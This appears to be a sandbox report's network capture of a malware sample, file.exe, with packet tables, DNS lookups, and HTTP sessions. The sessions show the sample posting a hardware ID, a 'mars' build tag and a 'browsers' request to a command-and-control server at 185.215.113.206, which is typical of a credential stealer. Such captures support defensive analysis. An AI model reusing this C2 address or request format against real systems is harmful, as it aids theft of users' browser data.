Nov 16, 2024 13:01:43.198868036 CET	443	49824	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:43.198888063 CET	49824	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:43.198900938 CET	443	49824	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:43.198937893 CET	49824	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:43.199250937 CET	49824	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:43.201464891 CET	49824	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:43.201464891 CET	49824	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:43.201478004 CET	443	49824	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:43.201667070 CET	443	49824	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:43.201698065 CET	443	49824	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:43.201745033 CET	49824	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:43.340197086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:43.340245008 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:43.346314907 CET	49936	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:43.346410036 CET	443	49936	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:43.346535921 CET	49936	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:43.347383976 CET	49936	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:43.347420931 CET	443	49936	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:43.394395113 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:43.399363041 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:43.675596952 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:43.675657988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:43.675698042 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:43.675729990 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:43.675817966 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:43.675833941 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:43.675863981 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:43.675925016 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:43.678616047 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:43.683516979 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:43.829421043 CET	443	49932	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.836895943 CET	443	49935	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.842788935 CET	443	49934	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.854623079 CET	49932	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.854646921 CET	443	49932	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.855295897 CET	49932	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.855305910 CET	443	49932	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.855742931 CET	49935	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.855786085 CET	443	49935	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.856178999 CET	49934	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.856193066 CET	443	49934	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.856272936 CET	49935	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.856285095 CET	443	49935	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.856722116 CET	49934	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.856735945 CET	443	49934	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.918467045 CET	443	49933	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.919390917 CET	49933	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.919430971 CET	443	49933	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.919948101 CET	49933	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.919958115 CET	443	49933	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.959341049 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:43.959395885 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:43.982937098 CET	443	49932	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.983103991 CET	443	49932	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.983160973 CET	49932	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.983941078 CET	443	49935	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.984126091 CET	443	49935	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.984196901 CET	49935	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.984615088 CET	443	49934	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.984653950 CET	443	49934	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.984715939 CET	49934	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.984720945 CET	443	49934	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.984800100 CET	49934	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.990906954 CET	49932	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.990936041 CET	443	49932	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.990952015 CET	49932	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.990958929 CET	443	49932	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.996848106 CET	49935	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.996882915 CET	443	49935	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.996901035 CET	49935	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.996908903 CET	443	49935	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.004699945 CET	49934	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.004724979 CET	443	49934	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.013931036 CET	443	49930	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.016630888 CET	49937	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.016726971 CET	443	49937	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.016848087 CET	49937	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.022222042 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:44.023668051 CET	49930	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.023711920 CET	443	49930	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.023781061 CET	49937	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.023809910 CET	443	49937	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.024188042 CET	49930	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.024200916 CET	443	49930	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.025486946 CET	49938	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.025537014 CET	443	49938	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.025669098 CET	49938	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.025810003 CET	49938	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.025824070 CET	443	49938	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.026648998 CET	49939	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.026674032 CET	443	49939	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.026735067 CET	49939	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.027053118 CET	49939	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.027079105 CET	443	49939	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.027349949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:44.048232079 CET	443	49933	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.048312902 CET	443	49933	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.048377037 CET	49933	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.048669100 CET	49933	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.048705101 CET	443	49933	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.048728943 CET	49933	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.048736095 CET	443	49933	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.054766893 CET	49940	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.054814100 CET	443	49940	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.054891109 CET	49940	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.055054903 CET	49940	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.055067062 CET	443	49940	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.149167061 CET	443	49930	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.149207115 CET	443	49930	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.149266005 CET	443	49930	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.149272919 CET	49930	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.149373055 CET	49930	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.161612988 CET	49930	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.161612988 CET	49930	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.161633968 CET	443	49930	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.161653996 CET	443	49930	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.242213964 CET	49941	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.242263079 CET	443	49941	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.242384911 CET	49941	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.247061014 CET	49941	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.247073889 CET	443	49941	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.461189032 CET	443	49936	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:44.461797953 CET	49936	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:44.461880922 CET	443	49936	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:44.462455988 CET	49936	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:44.462471008 CET	443	49936	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:44.462543011 CET	49936	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:44.462562084 CET	443	49936	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:44.756515980 CET	443	49939	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:44.757179022 CET	49939	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:44.757217884 CET	443	49939	13.107.246.45	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 16, 2024 13:01:19.972733974 CET	192.168.2.5	1.1.1.1	0xe36	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:19.972846985 CET	192.168.2.5	1.1.1.1	0x238d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 16, 2024 13:01:23.740320921 CET	192.168.2.5	1.1.1.1	0x80ee	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:23.740470886 CET	192.168.2.5	1.1.1.1	0x4e93	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 16, 2024 13:01:24.718599081 CET	192.168.2.5	1.1.1.1	0x79d9	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:24.718700886 CET	192.168.2.5	1.1.1.1	0x53c9	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 16, 2024 13:01:30.540065050 CET	192.168.2.5	1.1.1.1	0xe4b2	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:30.540170908 CET	192.168.2.5	1.1.1.1	0xb238	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 16, 2024 13:01:32.211519003 CET	192.168.2.5	1.1.1.1	0x5fa	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:32.211627007 CET	192.168.2.5	1.1.1.1	0x5b5c	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 16, 2024 13:01:33.839673996 CET	192.168.2.5	1.1.1.1	0x62bc	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:33.839792013 CET	192.168.2.5	1.1.1.1	0x5e72	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 16, 2024 13:01:33.851954937 CET	192.168.2.5	1.1.1.1	0xab10	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:33.852402925 CET	192.168.2.5	1.1.1.1	0x518e	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 16, 2024 13:01:33.858359098 CET	192.168.2.5	1.1.1.1	0x5c96	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:33.858530045 CET	192.168.2.5	1.1.1.1	0xa9fa	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 16, 2024 13:01:33.862343073 CET	192.168.2.5	1.1.1.1	0xd259	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:33.862626076 CET	192.168.2.5	1.1.1.1	0xb8d4	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 16, 2024 13:01:35.029679060 CET	192.168.2.5	1.1.1.1	0xcc21	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 16, 2024 13:01:35.029679060 CET	192.168.2.5	1.1.1.1	0xdfc1	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:35.422723055 CET	192.168.2.5	1.1.1.1	0x8c80	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:35.422902107 CET	192.168.2.5	1.1.1.1	0x1867	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 16, 2024 13:01:35.423336983 CET	192.168.2.5	1.1.1.1	0x56eb	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:35.423337936 CET	192.168.2.5	1.1.1.1	0x2592	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 16, 2024 13:01:35.437189102 CET	192.168.2.5	1.1.1.1	0x6217	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:35.437189102 CET	192.168.2.5	1.1.1.1	0xdcf1	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 16, 2024 13:01:19.979542971 CET	1.1.1.1	192.168.2.5	0xe36	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:19.979680061 CET	1.1.1.1	192.168.2.5	0x238d	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 16, 2024 13:01:23.794647932 CET	1.1.1.1	192.168.2.5	0x80ee	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:23.794647932 CET	1.1.1.1	192.168.2.5	0x80ee	No error (0)	plus.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:23.795713902 CET	1.1.1.1	192.168.2.5	0x4e93	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:24.725965977 CET	1.1.1.1	192.168.2.5	0x79d9	No error (0)	play.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:30.546983004 CET	1.1.1.1	192.168.2.5	0xb238	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:30.547250032 CET	1.1.1.1	192.168.2.5	0xe4b2	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:31.025808096 CET	1.1.1.1	192.168.2.5	0x7c92	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:31.027062893 CET	1.1.1.1	192.168.2.5	0x775f	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:31.027062893 CET	1.1.1.1	192.168.2.5	0x775f	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:32.218645096 CET	1.1.1.1	192.168.2.5	0x5fa	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:32.219758034 CET	1.1.1.1	192.168.2.5	0x5b5c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:33.846334934 CET	1.1.1.1	192.168.2.5	0x62bc	No error (0)	sb.scorecardresearch.com		13.32.110.123	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:33.846334934 CET	1.1.1.1	192.168.2.5	0x62bc	No error (0)	sb.scorecardresearch.com		13.32.110.104	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:33.846334934 CET	1.1.1.1	192.168.2.5	0x62bc	No error (0)	sb.scorecardresearch.com		13.32.110.18	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:33.846334934 CET	1.1.1.1	192.168.2.5	0x62bc	No error (0)	sb.scorecardresearch.com		13.32.110.8	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:33.859091043 CET	1.1.1.1	192.168.2.5	0xab10	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:33.860692024 CET	1.1.1.1	192.168.2.5	0x518e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:33.865427017 CET	1.1.1.1	192.168.2.5	0xa9fa	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:33.865494013 CET	1.1.1.1	192.168.2.5	0x5c96	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:33.869366884 CET	1.1.1.1	192.168.2.5	0xd259	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:33.870064974 CET	1.1.1.1	192.168.2.5	0xb8d4	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:35.036830902 CET	1.1.1.1	192.168.2.5	0xcc21	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:35.036849022 CET	1.1.1.1	192.168.2.5	0xdfc1	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 13:01:35.036849022 CET	1.1.1.1	192.168.2.5	0xdfc1	No error (0)	googlehosted.l.googleusercontent.com		172.217.16.129	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:35.429591894 CET	1.1.1.1	192.168.2.5	0x8c80	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:35.429591894 CET	1.1.1.1	192.168.2.5	0x8c80	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:35.430233955 CET	1.1.1.1	192.168.2.5	0x56eb	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:35.430233955 CET	1.1.1.1	192.168.2.5	0x56eb	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:35.430385113 CET	1.1.1.1	192.168.2.5	0x2592	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 16, 2024 13:01:35.431817055 CET	1.1.1.1	192.168.2.5	0x1867	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 16, 2024 13:01:35.443849087 CET	1.1.1.1	192.168.2.5	0xdcf1	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 16, 2024 13:01:35.444195032 CET	1.1.1.1	192.168.2.5	0x6217	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 13:01:35.444195032 CET	1.1.1.1	192.168.2.5	0x6217	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	5032	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 13:01:13.681353092 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 16, 2024 13:01:14.591619015 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 13:01:14.595448017 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 46 45 31 44 36 42 46 36 31 45 34 31 38 36 36 34 38 36 36 33 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 2d 2d 0d 0a Data Ascii: ------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="hwid"8FE1D6BF61E41866486636------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="build"mars------DAAFBAKECAEGCBFIEGDG--
Nov 16, 2024 13:01:14.897968054 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6d 55 30 4e 57 4a 6d 4f 47 52 68 4e 44 6b 34 5a 44 6b 35 4e 44 41 31 4e 7a 4e 6d 4f 44 46 6a 59 54 6b 31 5a 47 5a 6c 59 6a 49 77 4e 57 49 7a 4f 44 4e 6b 4d 6a 67 77 4e 54 49 79 59 6d 4e 69 5a 54 68 69 4f 54 45 33 4d 44 59 32 5a 57 5a 69 4e 44 55 35 5a 44 64 6a 59 6a 51 32 4f 44 6b 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MmU0NWJmOGRhNDk4ZDk5NDA1NzNmODFjYTk1ZGZlYjIwNWIzODNkMjgwNTIyYmNiZThiOTE3MDY2ZWZiNDU5ZDdjYjQ2ODkwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 16, 2024 13:01:14.899727106 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 2d 2d 0d 0a Data Ascii: ------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="message"browsers------CFHIIEHJKKECGCBFIIJD--
Nov 16, 2024 13:01:15.209302902 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: 